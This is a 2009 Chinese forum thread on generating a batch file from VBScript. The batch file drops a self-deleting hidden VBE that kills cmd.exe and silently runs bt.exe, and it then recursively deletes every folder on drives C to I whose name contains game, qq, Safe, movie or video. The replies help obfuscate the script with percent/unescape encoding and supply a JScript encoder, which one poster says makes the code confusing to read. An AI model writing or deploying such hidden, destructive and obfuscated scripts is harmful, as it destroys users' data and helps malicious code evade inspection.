|
QOIQoc
初级用户
积分 48
发帖 51
注册 2009-3-3
状态 离线
|
『楼 主』:
如何用 vbs 生成复杂的bat 代码
如何用 vbs 生成 c:\er.bat 代码:
(echo Set ws = CreateObject("Wscript.Shell"^)
echo ws.run "cmd /c taskkill /f /im cmd.exe",vbhide
echo ws.run "%%windir%%\bt.exe",vbhide
echo ws.run "cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\vb2cm.vbe /f/q",vbhide)>%windir%\vb2cm.vbe
if exist "%windir%\vb2cm.vbe" start "" "%windir%\vb2cm.vbe"
set alld=c d e f g h i
for %%a in (%alld%) do (
if exist %%a:\ cd /d %%a:\
if exist %%a:\ for /f "delims=" %%i in ('dir /ad/s/b *game* *qq* *Safe* *movie* *video*') do rd "%%i" /s/q>nul 2>nul
)
|
|
2009-5-2 06:02 |
|
|
slore
铂金会员
积分 5212
发帖 2478
注册 2007-2-8
状态 离线
|
『第
2 楼』:
yourstr = "(echo Set ws = CreateObject(""Wscript.Shell""^)" & vbCrLf & "echo ws.run ""cmd /c taskkill /f /im cmd.exe"",vbhide" & vbCrLf & "echo ws.run ""%%windir%%\bt.exe"",vbhide" & vbCrLf & "echo ws.run ""cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\vb2cm.vbe /f/q"",vbhide)>%windir%\vb2cm.vbe" & vbCrLf & "if exist ""%windir%\vb2cm.vbe"" start """" ""%windir%\vb2cm.vbe""" & vbCrLf & "set alld=c d e f g h i" & vbCrLf & "for %%a in (%alld%) do (" & vbCrLf & " if exist %%a:\ cd /d %%a:\" & vbCrLf & " if exist %%a:\ for /f ""delims="" %%i in ('dir /ad/s/b *game* *qq* *Safe* *movie* *video*') do rd ""%%i"" /s/q>nul 2>nul"
|
S smile 微笑,L love 爱,O optimism 乐观,R relax 放松,E enthusiasm 热情...Slore |
|
2009-5-2 06:47 |
|
|
freeants001
中级用户
积分 330
发帖 244
注册 2006-4-14 来自 湖北
状态 离线
|
『第
3 楼』:
sss="%28echo%20Set%20ws%20%3D%20CreateObject%28%22Wscript.Shell%22%5E%29%0D%0Aecho%20ws.run%20%22cmd%20/c%20taskkill%20/f%20/im%20cmd.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22%25%25windir%25%25%5Cbt.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22cmd%20/c%20if%20exist%20%25%25windir%25%25%5Cn.bat%20%25%25windir%25%25%5Cn.bat%26%26del%20%25windir%25%5Cvb2cm.vbe%20/f/q%22%2Cvbhide%29%3E%25windir%25%5Cvb2cm.vbe%0D%0Aif%20exist%20%22%25windir%25%5Cvb2cm.vbe%22%20start%20%22%22%20%22%25windir%25%5Cvb2cm.vbe%22%0D%0Aset%20alld%3Dc%20d%20e%20f%20g%20h%20i%0D%0Afor%20%25%25a%20in%20%28%25alld%25%29%20do%20%28%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20cd%20/d%20%25%25a%3A%5C%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20for%20/f%20%22delims%3D%22%20%25%25i%20in%20%28%27dir%20/ad/s/b%20*game*%20*qq*%20*Safe*%20*movie*%20*video*%27%29%20do%20rd%20%22%25%25i%22%20/s/q%3Enul%202%3Enul%0D%0A%29"
wsh.createobject("scripting.filesystemobject").createtextfile("c:\err.bat").write unescape(sss)
|
|
2009-5-2 07:08 |
|
|
QOIQoc
初级用户
积分 48
发帖 51
注册 2009-3-3
状态 离线
|
『第
4 楼』:
yourstr = "(echo Set ws = CreateObject(""Wscript.Shell""^)" & vbCrLf & "echo ws.run ""cmd /c taskkill /f /im cmd.exe"",vbhide" & vbCrLf & "echo ws.run ""%%windir%%\bt.exe"",vbhide" & vbCrLf & "echo ws.run ""cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\vb2cm.vbe /f/q"",vbhide)>%windir%\vb2cm.vbe" & vbCrLf & "if exist ""%windir%\vb2cm.vbe"" start """" ""%windir%\vb2cm.vbe""" & vbCrLf & "set alld=c d e f g h i" & vbCrLf & "for %%a in (%alld%) do (" & vbCrLf & " if exist %%a:\ cd /d %%a:\" & vbCrLf & " if exist %%a:\ for /f ""delims="" %%i in ('dir /ad/s/b *game* *qq* *Safe* *movie* *video*') do rd ""%%i"" /s/q>nul 2>nul"
wsh.createobject("scripting.filesystemobject").createtextfile("c:\err.bat").write yourstr
"%28echo%20Set%20ws%20%3D%20CreateObject%28%22Wscript.Shell%22%5E%29%0D%0Aecho%20ws.run%20%22cmd%20/c%20taskkill%20/f%20/im%20cmd.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22%25%25windir%25%25%5Cbt.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22cmd%20/c%20if%20exist%20%25%25windir%25%25%5Cn.bat%20%25%25windir%25%25%5Cn.bat%26%26del%20%25windir%25%5Cvb2cm.vbe%20/f/q%22%2Cvbhide%29%3E%25windir%25%5Cvb2cm.vbe%0D%0Aif%20exist%20%22%25windir%25%5Cvb2cm.vbe%22%20start%20%22%22%20%22%25windir%25%5Cvb2cm.vbe%22%0D%0Aset%20alld%3Dc%20d%20e%20f%20g%20h%20i%0D%0Afor%20%25%25a%20in%20%28%25alld%25%29%20do%20%28%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20cd%20/d%20%25%25a%3A%5C%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20for%20/f%20%22delims%3D%22%20%25%25i%20in%20%28%27dir%20/ad/s/b%20*game*%20*qq*%20*Safe*%20*movie*%20*video*%27%29%20do%20rd%20%22%25%25i%22%20/s/q%3Enul%202%3Enul%0D%0A%29"
请问freeants001,上面代码是怎么得到的?
|
|
2009-5-2 08:15 |
|
|
slore
铂金会员
积分 5212
发帖 2478
注册 2007-2-8
状态 离线
|
『第
5 楼』:
unescape(sss) 自然可以……
msgbox escape(yourstr)
本质是将非数字和字母字符转成unicode编码。
%20是空格 %28是(这些字符编码都是固定的
|
S smile 微笑,L love 爱,O optimism 乐观,R relax 放松,E enthusiasm 热情...Slore |
|
2009-5-2 08:25 |
|
|
QOIQoc
初级用户
积分 48
发帖 51
注册 2009-3-3
状态 离线
|
『第
6 楼』:
请问如何把 代码全部转成 unicode编码?
如; CreateObject(UnEscape("%57%73%63%52%69%70%54%2E%73%68%65%4C%6C"))
|
|
2009-5-2 09:33 |
|
|
freeants001
中级用户
积分 330
发帖 244
注册 2006-4-14 来自 湖北
状态 离线
|
『第
7 楼』:
sss=WScript.createobject("scripting.filesystemobject").opentextfile("test.txt").readall();
for(i=0,oss="";i<sss.length;i++){
s=sss.charCodeAt(i);
if(s<0xFF)oss+="%"+("0"+s.toString(16)).slice(-2)
else oss+="%u"+("0"+s.toString(16)).slice(-4);
}
WScript.createobject("scripting.filesystemobject").createtextfile("unicode.txt").write(oss); [ Last edited by freeants001 on 2009-5-3 at 00:33 ]
|
|
2009-5-2 10:20 |
|
|
QOIQoc
初级用户
积分 48
发帖 51
注册 2009-3-3
状态 离线
|
『第
8 楼』:
something is wrong with the code!
附件
1: 未命名.GIF (2009-5-2 11:17, 4.75 K)
|
|
2009-5-2 11:12 |
|
|
freeants001
中级用户
积分 330
发帖 244
注册 2006-4-14 来自 湖北
状态 离线
|
『第
9 楼』:
按6楼的要求,7楼的JS代码,可以把把你需要的文件中所有字符转换成VBS(或 js)中的unescape函数可以使用的UNICODE字符串.
|
|
2009-5-3 00:11 |
|
|
ZJHJ
高级用户
积分 609
发帖 374
注册 2006-8-2
状态 离线
|
『第
10 楼』:
freeants001 的是将空格、符号、换行等用16进制,批处理原文没有改变。
使其显的眼花缭乱。
|
|
2009-5-3 00:20 |
|
|
slore
铂金会员
积分 5212
发帖 2478
注册 2007-2-8
状态 离线
|
『第
11 楼』:
把js保存成vbs了……
|
S smile 微笑,L love 爱,O optimism 乐观,R relax 放松,E enthusiasm 热情...Slore |
|
2009-5-3 00:26 |
|
|
freeants001
中级用户
积分 330
发帖 244
注册 2006-4-14 来自 湖北
状态 离线
|
『第
12 楼』:
发现7楼0x10以下字符出问题了,现已更正
|
|
2009-5-3 00:36 |
|
|
QOIQoc
初级用户
积分 48
发帖 51
注册 2009-3-3
状态 离线
|
『第
13 楼』:
测试成功,多谢,继续向前辈学习。
|
|
2009-5-3 00:46 |
|